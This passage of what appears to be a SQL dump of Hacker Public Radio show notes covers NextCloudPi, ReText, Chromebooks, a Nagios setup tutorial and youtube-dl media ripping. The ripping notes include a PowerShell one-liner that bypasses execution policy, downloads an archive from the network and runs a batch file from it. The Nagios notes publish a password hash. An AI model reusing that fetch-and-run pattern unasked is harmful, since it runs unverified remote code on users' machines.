class=\"uri\">https://www.duckdns.org</a></p>\r\n<p>Enter trusted domain</p>\r\n<p><em>NextCloudPi panel</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_005.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_005_thumbnail.png\" alt=\"NextCloudPi panel\" /></a></p>\r\n<p><em>Trusted domain 1</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_007.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_007_thumbnail.png\" alt=\"Trusted domain 1\" /></a></p>\r\n<p><em>Trusted domain 2</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_008.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_008_thumbnail.png\" alt=\"Trusted domain 2\" /></a></p>\r\n<p>Certbot script</p>\r\n<pre><code>sudo apt install certbot python-certbot-apache -y\r\n\r\nsudo certbot --apache</code></pre>\r\n<p>Customization External storage support</p>\r\n<p>Apps &gt; Disabled Apps &gt; External Storage Support &gt; Enable</p>\r\n<p><em>Apps 1</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_001_thumbnail.png\" alt=\"Apps 1\" /></a></p>\r\n<p><em>Apps 2</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_002_thumbnail.png\" alt=\"Apps 2\" /></a></p>\r\n<p><em>Settings</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_006.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_006_thumbnail.png\" alt=\"Settings\" /></a></p>\r\n<p><em>External storage</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_004.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_004_thumbnail.png\" alt=\"External storage\" /></a></p>\r\n<p>Dark mode support</p>\r\n<p><em>Apps 3</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3259/img_003.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3259/img_003_thumbnail.png\" alt=\"Apps 3\" /></a></p>\r\n',318,0,0,'CC-BY-SA','self hosting, cloud, linux, raspberry pi',0,0,1),
(3254,'2021-01-21','The Markdown editor Retext',1494,'In this episode I cover the markdown editor ReText. I found this useful when creating show notes','<h2 id=\"what-is-retext\">What is ReText?</h2>\r\n<p>The <a href=\"https://github.com/retext-project/retext\">ReText website</a> on GitHub says that ReText is a simple but powerful editor for Markdown and reStructuredText markup languages.</p>\r\n<p>Doing a search on the HPR site returned the following two references to ReText.</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=1832\">The excellent Markdown and Pandoc HPR 1832 episode by b-yeezi makes reference to ReText</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3167\">Dave Morriss mentioned using ReText as a possible tool when sending in shownotes as markdown is preferable to plain text. Refer to HPR 3167</a></p>\r\n<h2 id=\"retext-version-info\">Retext Version Info</h2>\r\n<p>As of the 1st of January 2021 I am running ReText version 7.0.1 the latest version was 7.1.0 this was last updated on the 4th of April 2020.</p>\r\n<h2 id=\"why-i-am-covering-this\">Why I am covering this</h2>\r\n<p>I’m covering this because in HPR show 3167 Dave Morriss said that Markdown was a preferred way to submit shownotes. Prior to this I had supplied my shownotes in plain text.</p>\r\n<h2 id=\"what-is-markdown\">What is Markdown?</h2>\r\n<p>I guess I first must cover what markdown is I found the following definitions:-</p>\r\n<p><a href=\"https://daringfireball.net/projects/markdown/\">Description of Markdown from Wikipedia</a></p>\r\n<p>Markdown is a lightweight markup language for creating formatted text using a plain-text editor. John Gruber and Aaron Swartz created Markdown in 2004 as a markup language that is appealing to the human users in its source form.[9] Markdown is widely used in blogging, instant messaging, online forums, collaboration software, documentation pages, and even readme files Link <a href=\"https://en.wikipedia.org/wiki/Markdown\">https://en.wikipedia.org/wiki/Markdown</a></p>\r\n<p><a href=\"https://daringfireball.net/projects/markdown/\">Description of Markdown from John Gruber\'s website, one of the co founders of Markdown.</a></p>\r\n<p>Markdown is a text-to-HTML conversion tool for web writers. Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML).</p>\r\n<h2 id=\"example-text-used-in-the-show-and-how-it-looks\">Example text used in the show and how it looks</h2>\r\n<pre><code># This is a level 1 heading\r\n\r\n## This is a level 2 heading\r\n\r\n### This is a level 3 heading\r\n</code></pre>\r\n<h1 id=\"this-is-a-level-1-heading\">This is a level 1 heading</h1>\r\n<h2 id=\"this-is-a-level-2-heading\">This is a level 2 heading</h2>\r\n<h3 id=\"this-is-a-level-3-heading\">This is a level 3 heading</h3>\r\n<h2 id=\"list-of-useful-links\">List of useful links</h2>\r\n<p>Finally here are useful links that are available from within the ReText program. They can be found within the Help / About ReText menu:-</p>\r\n<p><a href=\"https://github.com/retext-project/retext\">Link to ReText website</a></p>\r\n<p><a href=\"https://daringfireball.net/projects/markdown/syntax#precode\">Link to Markdown syntax</a></p>\r\n<p><a href=\"https://docutils.sourceforge.io/docs/user/rst/quickref.html\">Link to reStructuredText syntax</a></p>\r\n<h2 id=\"final-thoughts\">Final thoughts</h2>\r\n<ul>\r\n<li><p>Using ReText to pull these shownotes together disciplined me to hopefully put more meaningful titles within my shownotes.</p></li>\r\n<li><p>It helped my to create meaningful descriptive links which will hopefully help accessibility for the visually impaired.</p></li>\r\n<li><p>I edited the text on this occasion in live preview mode I found this made it very easy to see how the final version would look.</p></li>\r\n<li><p>I think I ended up with more polished shownotes that hopefully needs fewer and hopefully no input from our band of HPR volunteers working behind the scenes.</p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Markdown, HPR, shownotes',0,0,1),
(3265,'2021-02-05','My Chromebook Experience',525,'Adding my own perspective to the Chromebook discussion','<p>On January 5, 2021, Zen_Floater2 did an interesting show that you might call a virtual conversation with Klaatu. He took a show that Klaatu had done on the GNU World Order podcast about using Chromebooks, and interspersed his own comments. As I was listening I thought that I had a slightly different perspective, so I recorded this brief show about my own experience.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3242\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3242</a></li>\r\n<li><a href=\"https://www.amazon.com/gp/product/B075S8YS87/\" class=\"uri\">https://www.amazon.com/gp/product/B075S8YS87/</a></li>\r\n<li><a href=\"https://www.palain.com/my-chromebook-experience/\" class=\"uri\">https://www.palain.com/my-chromebook-experience/</a></li>\r\n</ul>\r\n',198,0,0,'CC-BY-SA','Chromebooks',0,0,1),
(3258,'2021-01-27','Linux Inlaws S01E22: The Linux Professional Institute',4129,'The chaps host Evan Leibovitch from the LPI','<ul>\r\n<li>Linux Professional Institute: <a href=\"https://www.lpi.org\" target=\"_blank\">https://www.lpi.org</a></li>\r\n<li>Kali Linux: <a href=\"https://www.kali.org\" target=\"_blank\">https://www.kali.org</a></li>\r\n<li>Anti-pox of the week (Java is broken): <a href=\"https://stackoverflow.com/questions/2210720/how-to-analyse-a-noclassdeffounderror-caused-by-an-ignored-exceptionininitialize\" target=\"_blank\">https://stackoverflow.com/questions/2210720/how-to-analyse-a-noclassdeffounderror-caused-by-an-ignored-exceptionininitialize</a></li>\r\n<li>Book of Monsters: <a href=\"https://www.imdb.com/title/tt7260818\" target=\"_blank\">https://www.imdb.com/title/tt7260818</a></li>\r\n<li>Tucker and Dale vs. Evil: <a href=\"https://www.imdb.com/title/tt1465522\" target=\"_blank\">https://www.imdb.com/title/tt1465522</a></li>\r\n<li>The serpent (BBC series): <a href=\"https://en.wikipedia.org/wiki/The_Serpent_(TV_series)\" target=\"_blank\">https://en.wikipedia.org/wiki/The_Serpent_(TV_series)</a></li>\r\n<li>Grumpy Old Coders (epside 6): <a href=\"https://soundcloud.com/user-498377588/grumpy-old-coders-ep-6-retrospective\" target=\"_blank\">https://soundcloud.com/user-498377588/grumpy-old-coders-ep-6-retrospective</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Java screw-up, Linux Professional Institute, Zombies, Grumpies',0,0,1),
(3262,'2021-02-02','My thoughts on diversity in Linux and open source',2010,'I give some of my background story and certain frustrations I have experienced in life','<ol type=\"1\">\r\n<li>Lack of exposure to Linux and open source</li>\r\n<li>Lack of interest in Linux and open source</li>\r\n<li>Some experiences I had growing up</li>\r\n</ol>',297,0,0,'CC-BY-SA','linux, race, podcast, irc, telegram, technology, culture',0,0,1),
(3263,'2021-02-03','My Beginnings in Tech',1157,'Rambling about how I got in to technology and linux.','<p>Hiya! There aren\'t any links or anything to put here, but putting something in the show notes seems important.</p>',390,0,1,'CC-BY-SA','Introduction, Linux, First Show',0,0,1),
(3264,'2021-02-04','Intro to Nagios',1200,'Introduce some nagios basics and walk through setting up nagios on Ubuntu','<h1 id=\"nagios-basics\">Nagios Basics</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I noticed nagios on the requested topics page. I am far from being an expert with nagios and there is a lot I do not know. I have a working knowledge of most of the basic nagios principles. So, hopefully, I can give a useful introduction and review some one the principles of nagios along the way</p>\r\n<p>Nagios is a network monitoring tool. You define some things for nagios to check, and nagios will alert you if those checks fail.</p>\r\n<p>Nagios has a web UI that is normally used to see the status of the checks. There are some basic administration tasks you can do from the web UI</p>\r\n<ul>\r\n<li>enabling/disabling notifications</li>\r\n<li>Scheduling Downtime</li>\r\n<li>Forcing immediate checks</li>\r\n</ul>\r\n<p>Nagios is primarily configured with text files. You have to edit the nagios config files for things like</p>\r\n<ul>\r\n<li>adding servers</li>\r\n<li>customizing commands</li>\r\n</ul>\r\n<h2 id=\"nagios-core-vs-nagiosxi\">Nagios core vs NagiosXI</h2>\r\n<p>NagiosXI is the commercial version of nagios. NagiosXI requires a paid license and includes support. NagiosXI has some extra features including wizards for adding hosts and easy cloning of hosts.</p>\r\n<p>I have used NagiosXI, and personally don\'t find the extra features very useful. Probably the biggest reason to use NagiosXI is Enterprise that requires commercial support</p>\r\n<p>The <code>community</code> version of nagios is normally referred to as <code>nagios core</code> This episode will focus on the nagios core</p>\r\n<h2 id=\"nagios-documentation\">Nagios Documentation</h2>\r\n<p>I don\'t like the official nagios core documentation. A lot like man pages, It is a good reference, but can be hard to follow.</p>\r\n<p>Maybe is it possible for someone to read the documentation and be able to install and configure nagios for the first time. But it took me a lot of trial and error to get a functional nagios server following the nagios documentation</p>\r\n<p>Outside of the official documentation, Most of the nagios installation guides I found online recommend downloading and building nagios from the nagios site. My general policy is to use OS provided packages whenever possible. Normally, sticking to packages eases long the term maintenance.</p>\r\n<p>You may not always get the latest feature release, but installation and updates are usually easier. I know not everyone will agree with me here, and will want to build the latest version. Regardless of the install method, most of the nagios principles I go over will still apply</p>\r\n<p>I am making the assumption that most listeners will be most familiar with Debian/Ubuntu, so I will go over installing nagios on Ubuntu using the nagios packages from the Ubuntu repository</p>\r\n<h2 id=\"hosts-and-services\">Hosts and Services</h2>\r\n<p>Before I go over the installation, I\'ll talk a bit about some of the pieces that make up nagios Nagios checks are for either hosts or services.</p>\r\n<p>From the Nagios documentation</p>\r\n<blockquote>\r\n<p>A host definition is used to define a physical server, workstation, device, etc. that resides on your network.</p>\r\n</blockquote>\r\n<p>Also from the nagios documentation</p>\r\n<blockquote>\r\n<p>A service definition is used to identify a \"service\" that runs on a host. The term \"service\" is used very loosely. It can mean an actual service that runs on the host (POP, SMTP, HTTP, etc.) or some other type of metric associated with the host</p>\r\n</blockquote>\r\n<p>Normally, hosts are checked using ping. If the host responds to the ping with in the specified time frame, the host is considered up. Once a host is defined and determined to be UP, you can optionally check services on that host</p>\r\n<h2 id=\"installation-and-setup\">Installation and setup</h2>\r\n<p>Install the packages</p>\r\n<pre><code>apt install nagios4</code></pre>\r\n<p>One of the dependencies is the monitoring-plugins I\'ll talk more about the monitoring-plugins package when we dig in to the checks</p>\r\n<p>The primary UI for nagios is a cgi driven web app usually served via apache. Following the nagios4 installation, the web UI isn\'t functional. So we need to make a few configuration changes</p>\r\n<p>The nagios config file for apache contains a directive that is not enabled by default</p>\r\n<p>Enable 2 Apache modules</p>\r\n<pre><code>a2enmod authz_groupfile\r\na2enmod auth_digest\r\nsystemctl restart apache2</code></pre>\r\n<h2 id=\"nagios-authentication\">Nagios authentication</h2>\r\n<h3 id=\"enable-users-in-the-nagios-ui\">Enable users in the nagios UI</h3>\r\n<p>In <code>/etc/nagios4/cgi.cfg</code> change the line</p>\r\n<pre><code>&#39;use_authentication=0&#39;</code></pre>\r\n<p>to</p>\r\n<pre><code>&#39;use_authentication=1&#39;</code></pre>\r\n<h3 id=\"modify-apache\">Modify Apache</h3>\r\n<p>In <code>/etc/apache2/conf-enabled/nagios4-cgi.conf</code> change</p>\r\n<pre><code>Require all granted</code></pre>\r\n<p>to</p>\r\n<pre><code>Require valid-user</code></pre>\r\n<p>And if needed, remove the IP restriction by removing the line that starts with</p>\r\n<pre><code>Require ip</code></pre>\r\n<p>And finally we need to add a nagios basic auth user. I normally use <code>nagiosadmin</code>, but it can be any username</p>\r\n<pre><code>htdigest  -c /etc/nagios4/htdigest.users Nagios4 nagiosadmin</code></pre>\r\n<h4 id=\"restarts\">Restarts</h4>\r\n<p>Restart apache and nagios and the nagios UI will be fully functional</p>\r\n<h2 id=\"check-commands\">Check commands</h2>\r\n<p>Nagios uses a collection of small standalone executables to perform the checks. Checks are either OK, Warning, or Critical, depending on the exit code of the check.</p>\r\n<table>\r\n<thead>\r\n<tr class=\"header\">\r\n<th style=\"text-align: center;\">Exit Code</th>\r\n<th>Status</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr class=\"odd\">\r\n<td style=\"text-align: center;\">0</td>\r\n<td>OK/UP</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td style=\"text-align: center;\">1</td>\r\n<td>WARNING</td>\r\n</tr>\r\n<tr class=\"odd\">\r\n<td style=\"text-align: center;\">2</td>\r\n<td>CRITICAL</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p>The check commands are standalone applications that can be run independent from nagios. Running the checks from the shell is helpful to better understand how the nagios checks work. The location of the check commands can vary depending on how nagios was packaged. In this case, they are in <code>/usr/lib/nagios/plugins</code></p>\r\n<p>Looking at the names on the files can give you an idea of their purpose. For example, it should be obvious what <code>check_http</code> and <code>check_icmp</code> are for.</p>\r\n<pre><code>cd /usr/lib/nagios/plugins\r\n$ ./check_icmp localhost\r\nOK - localhost: rta 0.096ms, lost 0%|rta=0.096ms;200.000;500.000;0; pl=0%;40;80;; rtmax=0.218ms;;;; rtmin=0.064ms;;;;\r\n$ ./check_http localhost\r\nHTTP OK: HTTP/1.1 200 OK - 10977 bytes in 0.005 second response time |time=0.004558s;;;0.000000;10.000000 size=10977B;;;0</code></pre>\r\n<p>Most checks can be run with <code>-h</code> to print usage help</p>\r\n<p>The checks can be in any language as long as is it is executable by the nagios server. Many are compiled C but Perl and shell scripts are also common</p>\r\n<pre><code>file check_icmp\r\ncheck_icmp: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=46badf6e4322515a70d5553c8018a20e1e9b8206, for GNU/Linux 3.2.0, stripped</code></pre>\r\n<h2 id=\"nagios-config-files\">Nagios config files</h2>\r\n<p>The primary nagios config file is <code>/etc/nagios4/nagios.cfg</code></p>\r\n<p>nagios.cfg has a directive that will load additional user generated files</p>\r\n<pre><code>cfg_dir=/etc/nagios4/conf.d</code></pre>\r\n<p>I like to put all my additions to nagios in this directory and use git for both version control and backup.</p>\r\n<h2 id=\"nagios-commands\">Nagios commands</h2>\r\n<p>Nagios doesn\'t run the check executable directly The checks have to be explicitly defined in as a command Some predefined commands are in <code>/etc/nagios4/objects/commands.cfg</code></p>\r\n<p>Debian package <code>monitoring-plugins-basic</code> contains several command definitions that are loaded by nagios.cfg <code>cfg_dir=/etc/nagios-plugins/config</code></p>\r\n<p>Lets look in the <code>/etc/nagios-plugins/config</code> at <code>ping.cfg</code> for an example of how commands are defined</p>\r\n<pre><code># &#39;check-host-alive&#39; command definition\r\ndefine command{\r\n    command_name    check-host-alive\r\n    command_line    /usr/lib/nagios/plugins/check_ping -H &#39;$HOSTADDRESS$&#39; -w 5000,100% -c 5000,100% -p 1\r\n    }</code></pre>\r\n<p>Commands require <code>command_name</code> and <code>command_line</code> The command line is that path to the executable that will perform the check and optional arguments. Most checks require <code>-H</code> for the host address to check The check-host-alive command also contains arguments to set the critical and warning thresholds with <code>-c</code> and <code>-w</code></p>\r\n<p>The check_ping command is similar the check-host-alive command except it requires 2 arguments to set the critical and warning thresholds.</p>\r\n<pre><code>define command{\r\n        command_name    check_ping\r\n        command_line    /usr/lib/nagios/plugins/check_ping -H &#39;$HOSTADDRESS$&#39; -w &#39;$ARG1$&#39; -c &#39;$ARG2$&#39;\r\n        }</code></pre>\r\n<h2 id=\"templates\">Templates</h2>\r\n<p>Hosts and services require a lot of reused variables. Object definitions normally use <strong>templates</strong> to avoid having to repetitively set the same variables on each host. Nagios normally ships with predefined templates for hosts and services that will work for most cases.</p>\r\n<p>In Ubuntu, the templates are defined in <code>/etc/nagios4/objects/templates.cfg</code>. Template definitions are the same as other object definitions, except they contain <code>register 0</code> which designates the object as a template. I\'ll show how the templates are used when I go over the host and service definitions.</p>\r\n<h2 id=\"notifications\">Notifications</h2>\r\n<p>By default, notifications are sent via email to nagios@localhost. The easiest way to get notifications is to configure the nagios server to forward emails to a monitored email address. Since many networks block sending email directly via SMTP, email forwarding may be challenging.</p>\r\n<p>In a follow up episode I will cover setting up postfix to relay mail through a mail sending service and maybe some other methods for sending alerts</p>\r\n<h2 id=\"localhost\">Localhost</h2>\r\n<p>By default, nagios is set to monitor localhost. Having the nagios server can be useful but you probably want to add some additional servers.</p>\r\n<p>Have a look at <code>/etc/nagios4/objects/localhost.cfg</code> if you want to see how the checks for localhost are defined</p>\r\n<h2 id=\"adding-a-new-host-to-monitor\">Adding a new host to monitor</h2>\r\n<p>We will use google.com as an example and create a file named <code>google.cfg</code> and place it in in the cfg_dir <code>/etc/nagios4/conf.d</code>.</p>\r\n<p>The files can be named anything that ends in <code>.cfg</code>. My preference is one file per host that contains all the checks for that host. The content of <code>google.cfg</code> is included new the end of the show notes.</p>\r\n<p>First, we need to define the host. <code>host_name</code> is the only field required to be set. The remaining requirements are met by using the <code>generic-host</code> template.</p>\r\n<p>We can add a service check to google.com using the same file. The easiest to add is a http check <code>host_name</code>, <code>service_description</code>, and <code>check_command</code> have to be set the remaining requirements are met by using the <code>generic-service</code> template.</p>\r\n<h2 id=\"restarting-nagios\">Restarting Nagios</h2>\r\n<p>Nagios has to be reloaded to pick up the configuration changes. Prior to restarting nagios, you can verify the nagios configuration is valid by running:</p>\r\n<pre><code>nagios4 -v /etc/nagios4/nagios.cfg</code></pre>\r\n<p>This will print a summary of the configuration. Any warnings or errors will be printed at the end.</p>\r\n<p>Warnings are not fatal, but should probably be looked at. Errors will keep nagios from restarting; if there are no errors, it is safe to restart nagios</p>\r\n<p>Check the nagios UI at <code>https://SERVER_IP/nagios4</code> and you should see 2 hosts, localhost and google.com as well as the service checks for the hosts</p>\r\n<h2 id=\"next-episode\">Next Episode</h2>\r\n<p>Since I have already made the mistake of mentioning a follow up episode, I know I am now committed to making additional episode, Next time I will try to cover some enhancements to nagios, including</p>\r\n<ul>\r\n<li>some notification options</li>\r\n<li>monitoring-plugins packages</li>\r\n<li>writing custom checks</li>\r\n<li>using SNMP to monitor load average and disk usage</li>\r\n</ul>\r\n<p>Leave a comment if there are other aspects of nagios you would like me to try to cover. No promises, but I will do my best.</p>\r\n<p><strong>Thanks for listening and I will see you next time.</strong></p>\r\n<h2 id=\"files\">Files</h2>\r\n<h3 id=\"playbook\">Playbook</h3>\r\n<pre><code>---\r\n- hosts: nagios\r\n  tasks:\r\n  - name: install nagios\r\n    apt:\r\n      name:\r\n        - nagios4\r\n      update_cache: yes\r\n\r\n  - name: Enable the Apache2 modules\r\n    command: a2enmod &quot;{{item}}&quot;\r\n    with_items:\r\n    - authz_groupfile\r\n    - auth_digest\r\n  - name: modify nagios cgi config to require user\r\n    replace:\r\n      path: /etc/nagios4/cgi.cfg\r\n      regexp: &#39;use_authentication=0&#39;\r\n      replace: &#39;use_authentication=1&#39;\r\n  - name: nagios require valid user\r\n    replace:\r\n      path: /etc/apache2/conf-enabled/nagios4-cgi.conf\r\n      regexp: &quot;Require all  granted&quot;\r\n      replace: &quot;Require valid-user&quot;\r\n  - name: remove IP restriction\r\n    lineinfile:\r\n      regexp: &quot;Require ip&quot;\r\n      path: /etc/apache2/conf-enabled/nagios4-cgi.conf\r\n      state: absent\r\n  - name: move auth requirements out of File restrictions\r\n    lineinfile:\r\n      path: /etc/apache2/conf-enabled/nagios4-cgi.conf\r\n      regexp: &#39;^s*&lt;/?Files&#39;\r\n      state: absent\r\n  - name: nagios user\r\n    copy:\r\n      dest: /etc/nagios4/htdigest.users\r\n      src: htdigest.users\r\n  - name: restart apache\r\n    service:\r\n      name: apache2\r\n      state: restarted\r\n  - name: copy nagios configs\r\n    copy:\r\n      src: &quot;{{item}}&quot;\r\n      dest: /etc/nagios4/conf.d\r\n    with_items:\r\n      - google.cfg\r\n  - name: restart nagios\r\n    service:\r\n      name: nagios4\r\n      state: restarted</code></pre>\r\n<h3 id=\"google.cfg\">google.cfg</h3>\r\n<pre><code>define host {\r\n  host_name google.com\r\n  use generic-host\r\n}\r\n\r\ndefine service {\r\n  use generic-service\r\n  host_name google.com\r\n  service_description HTTP\r\n  check_command check_http\r\n}</code></pre>\r\n<h3 id=\"htdigest.users\">htdigest.users</h3>\r\n<pre><code>nagiosadmin:Nagios4:85043cf96c7f3eb0884f378a8df04e4c</code></pre>\r\n',342,0,0,'CC-BY-SA','nagios, ubuntu',0,0,1),
(3267,'2021-02-09','Ripping Media 2021',1000,'I go over ripping webpage media','<ul>\r\n<li>android has newpipes for downloading youtube</li>\r\n<li>windows youtube-DL script:<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat</a></li>\r\n</ul>\r\n<p>ffmpeg notes:</p>\r\n<ul>\r\n<li><p>I started out by wanting to download facebook live streams and ended up missing it all together</p></li>\r\n<li><p>Reference (no longer live by the time I got online... ): <a href=\"https://www.facebook.com/FormulaDRIFT/videos/452016008942956/\" class=\"uri\">https://www.facebook.com/FormulaDRIFT/videos/452016008942956/</a></p></li>\r\n<li><p>live video looks like something about mpd files with facebook also looks like you need ffmpeg complied with --enable-libxml2</p></li>\r\n<li><p>this is where I found a WONDERFUL script <a href=\"https://github.com/jb-alvarado/media-autobuild_suite\" class=\"uri\">https://github.com/jb-alvarado/media-autobuild_suite</a></p></li>\r\n<li><p>also located other untested projects (pre compiled binaries ;/ ) <a href=\"https://www.videohelp.com/software/Hybrid\" class=\"uri\">https://www.videohelp.com/software/Hybrid</a></p></li>\r\n<li><p>windows binary of youtube-dl for facebook/twitch.tv and youtube etc ..<br />\r\n<a href=\"https://ytdl-org.github.io/youtube-dl/download.html\" class=\"uri\">https://ytdl-org.github.io/youtube-dl/download.html</a></p></li>\r\n<li><p>oneliner to download/run media-autobuild_suite to \"%userprofile%media-autobuild_suite-masterbuildffmpeg-gitbuild-static-64bit\"</p></li>\r\n</ul>\r\n<pre><code>powershell   -Exec Bypass &quot;IEX (New-Object System.Net.WebClient).DownloadFile(&#39;https://github.com/jb-alvarado/media-autobuild_suite/archive/master.zip&#39;,&quot;%userprofile%desktopmaster.zip&quot;);   Expand-Archive -LiteralPath  &quot;%userprofile%desktopmaster.zip&quot;  -DestinationPath  &quot;%userprofile%desktop&quot;     ;Start-Process &quot;%userprofile%desktopmedia-autobuild_suite-mastermedia-autobuild_suite.bat&quot; &quot;</code></pre>\r\n<ul>\r\n<li><p>this took over 8hrs to compile on a i7 I disabled items that had warnings and comments about issues and useless of codes that have issues etc</p></li>\r\n<li><p>missing libopenh264.dll when I launched ffmpeg_g.exe</p></li>\r\n<li><p>the dll was not built but I\'m not sure it\'s something I messed up I\'m sure</p></li>\r\n<li><p>only post I saw online about it was that it\'s useless and -full should never be used flaming etc</p></li>\r\n<li><p>start media-autobuild_suite-mastermsys64mingw64.exe and run the following</p></li>\r\n<li><p>Reference : <a href=\"https://bluexmas.tistory.com/category/OS\" class=\"uri\">https://bluexmas.tistory.com/category/OS</a> not sure what the flags were for but copied the DLL into the folder and it appears to run</p></li>\r\n</ul>\r\n<pre><code>git clone https://github.com/cisco/openh264.git\r\ncd openh264\r\nexport &quot;CFLAGS=-fno-stack-protector&quot;\r\nexport &quot;LDFLAGS=-lssp&quot;\r\nmake</code></pre>\r\n<ul>\r\n<li>also had to apply this fix for AR etc in platform-mingw_nt.mk folder</li>\r\n</ul>\r\n<pre><code>find / -iname &quot;platform-mingw_nt.mk&quot; -exec sed &#39;s/x86_64-w64-mingw32-//g&#39; -i.bak &#39;{}&#39; ;</code></pre>\r\n<pre><code>youtube-dl -f bestvideo+bestaudio &quot;link to youtube video&quot;</code></pre>\r\n<p>If that gives you an error, try the following instead:</p>\r\n<pre><code>youtube-dl -f &#39;bestvideo[ext=mp4]+bestaudio[ext=m4a]/bestvideo+bestaudio&#39; --merge-output-format mp4 &quot;link to youtube video&quot;</code></pre>\r\n<p>Here you download the best video and audio separately and then merge into a, in this case mp4 file. You can change the output format on the merged video as well.</p>\r\n',36,0,1,'CC-BY-SA','ffmpeg,hacking,youtube-dl,media',0,0,1),
(3271,'2021-02-15','Interview with a 6yo child ',428,'I ask some basic questions to my 6yo','<p>Not really hacking but good times</p>',36,78,0,'CC-BY-SA','interviews,kids',0,0,1),
(3269,'2021-02-11','Linux Inlaws S01E23: The first year of the five year plan',2855,'The Inlaws review the first year: the highlights, lowlights and all the bloody rest','<ul>\r\n<li>Free software (not just Richard\'s idea): <a href=\"https://www.gnu.org/philosophy/free-sw.html\" target=\"_blank\">https://www.gnu.org/philosophy/free-sw.html</a></li>\r\n<li>How Nvidia became Skynet: <a href=\"https://hackerpublicradio.org/eps.php?id=3069\" target=\"_blank\">https://hackerpublicradio.org/eps.php?id=3069</a></li>\r\n<li>Hacktoberfest: <a href=\"https://hacktoberfest.digitalocean.com\" target=\"_blank\">https://hacktoberfest.digitalocean.com</a></li>\r\n<li>Claudio and crew: <a href=\"https://hackerpublicradio.org/eps.php?id=3099\" target=\"_blank\">https://hackerpublicradio.org/eps.php?id=3099</a></li>\r\n<li>Not going out: <a href=\"https://en.wikipedia.org/wiki/Not_Going_Out\" target=\"_blank\">https://en.wikipedia.org/wiki/Not_Going_Out</a></li>\r\n<li>An American Pickle: <a href=\"https://www.imdb.com/title/tt9059704/?ref_=fn_al_tt_2\" target=\"_blank\">https://www.imdb.com/title/tt9059704/?ref_=fn_al_tt_2</a></li>\r\n<li>Mrs Honeyhume: <a href=\"https://hackerpublicradio.org/eps.php?id=3251\" target=\"_blank\">https://hackerpublicradio.org/eps.php?id=3251</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','communism, five year plan, world domination, FOSS, Femke',0,0,1),
(3279,'2021-02-25','Linux Inlaws S01E24: Legacy programming languages',3252,'The two chaps discuss why history keeps repeating itself in programming languages and beyond','<ul>\r\n<li>Plankalkül: <a href=\"https://en.wikipedia.org/wiki/Plankalk%C3%BCl\" target=\"_blank\">https://en.wikipedia.org/wiki/Plankalk%C3%BCl</a></li>\r\n<li>Fortran: <a href=\"https://fortran-lang.org\" target=\"_blank\">https://fortran-lang.org</a></li>\r\n<li>COBOL: <a href=\"https://en.wikipedia.org/wiki/COBOL\" target=\"_blank\">https://en.wikipedia.org/wiki/COBOL</a></li>\r\n<li>ALGOL: <a href=\"https://en.wikipedia.org/wiki/ALGOL\" target=\"_blank\">https://en.wikipedia.org/wiki/ALGOL</a></li>\r\n<li>GNU Fortran: <a href=\"https://gcc.gnu.org/fortran/\" target=\"_blank\">https://gcc.gnu.org/fortran/</a></li>\r\n<li>IBM System/36: <a href=\"https://en.wikipedia.org/wiki/IBM_System/36\" target=\"_blank\">https://en.wikipedia.org/wiki/IBM_System/36</a></li>\r\n<li>IBM Z: <a href=\"https://www.ibm.com/it-infrastructure/z/hardware\" target=\"_blank\">https://www.ibm.com/it-infrastructure/z/hardware</a></li>\r\n<li>Niklaus Wirth: <a href=\"https://en.wikipedia.org/wiki/Niklaus_Wirth\" target=\"_blank\">https://en.wikipedia.org/wiki/Niklaus_Wirth</a></li>\r\n<li>Pascal: <a href=\"https://en.wikipedia.org/wiki/Pascal_(programming_language)\" target=\"_blank\">https://en.wikipedia.org/wiki/Pascal_(programming_language)</a></li>\r\n<li>Modula-2: <a href=\"https://en.wikipedia.org/wiki/Modula-2\" target=\"_blank\">https://en.wikipedia.org/wiki/Modula-2</a></li>\r\n<li>Smalltalk: <a href=\"https://en.wikipedia.org/wiki/Smalltalk\" target=\"_blank\">https://en.wikipedia.org/wiki/Smalltalk</a></li>\r\n<li>Lisp: <a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\" target=\"_blank\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></li>\r\n<li>Fourth generation languages: <a href=\"https://en.wikipedia.org/wiki/Fourth-generation_programming_language\" target=\"_blank\">https://en.wikipedia.org/wiki/Fourth-generation_programming_language</a></li>\r\n<li>SQL: <a href=\"https://en.wikipedia.org/wiki/SQL\" 